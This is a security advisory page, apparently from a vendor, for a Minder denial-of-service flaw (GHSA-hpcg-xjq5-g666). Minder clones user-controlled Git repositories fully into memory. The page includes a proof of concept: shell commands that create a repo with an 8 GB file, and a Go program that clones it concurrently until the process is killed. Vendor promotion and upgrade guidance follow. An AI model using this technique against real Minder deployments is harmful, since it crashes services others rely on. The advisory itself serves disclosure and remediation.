GHSA-hpcg-xjq5-g666
MEDIUMMinder affected by denial of service from maliciously configured Git repository
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/stacklok/minderReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Minder's Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the github.com/go-git/go-git/v5 library on these lines:
The Git provider does the following on these lines:
First, it sets the CloneOptions, specifying the url, the depth etc:
It then validates the options:
It then sets up an in-memory filesystem, to which it clones:
Finally, it clones the repository:
This (g *Git) Clone() method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:
- Users can control the Git URL which Minder clones.
- Minder does not enforce a size limit to the repository.
- Minder clones the entire repository into memory.
PoC
Here, we share a PoC of how the logic of (g *Git) Clone() behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.
We believe the below PoC is a correct representation because:
- We have replicated the important and impactful parts of
(g *Git) Clone() - We run this in multiple goroutines which Minder does here: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L128
- Minders timeout is set to 5 minutes: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L114. With a reasonable connection, Minder can download many GBs in that period.
In our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.
First, create a local Git repository:
cd /tmp
mkdir upstream-repo
cd upstream-repo
git init --bare
cd /tmp
git clone /tmp/upstream-repo ./upstream-repo-clone
cd ./upstream-repo-clone
# Add large file:
fallocate -l 8G large-file
git add .
git commit -m "add large file"
git push
cd /tmp
Create and run the following script in /tmp/dos-poc/main.go:
package main
import (
"context"
"fmt"
"github.com/go-git/go-billy/v5/memfs"
"github.com/go-git/go-git/v5"
"github.com/go-git/go-git/v5/storage/memory"
"runtime"
"sync"
)
func main() {
var (
wg sync.WaitGroup
)
for i := 0; i < 2; i++ {
fmt.Println("Starting one...")
wg.Add(1)
go func() {
defer wg.Done()
opts := &git.CloneOptions{
URL: "/tmp/upstream-repo",
SingleBranch: true,
Depth: 1,
Tags: git.NoTags,
}
storer := memory.NewStorage()
fs := memfs.New()
git.CloneContext(context.Background(), storer, fs, opts)
}()
}
fmt.Println("Finished")
PrintMemUsage()
wg.Wait()
}
func PrintMemUsage() {
var m runtime.MemStats
runtime.ReadMemStats(&m)
// For info on each, see: https://golang.org/pkg/runtime/#MemStats
fmt.Printf("Alloc = %v MiB", bToMb(m.Alloc))
fmt.Printf("\tTotalAlloc = %v MiB", bToMb(m.TotalAlloc))
fmt.Printf("\tSys = %v MiB", bToMb(m.Sys))
fmt.Printf("\tNumGC = %v\n", m.NumGC)
}
func bToMb(b uint64) uint64 {
return b / 1024 / 1024
}
On my local machine, this Go program is killed before it prints "Finished" in the terminal. Observing the memory by way of top, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/stacklok/minder | all versions | 0.0.52 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/stacklok/minder. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/stacklok/minder to 0.0.52 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hpcg-xjq5-g666 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hpcg-xjq5-g666 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hpcg-xjq5-g666. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hpcg-xjq5-g666 in your dependencies?
O3 detects GHSA-hpcg-xjq5-g666 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.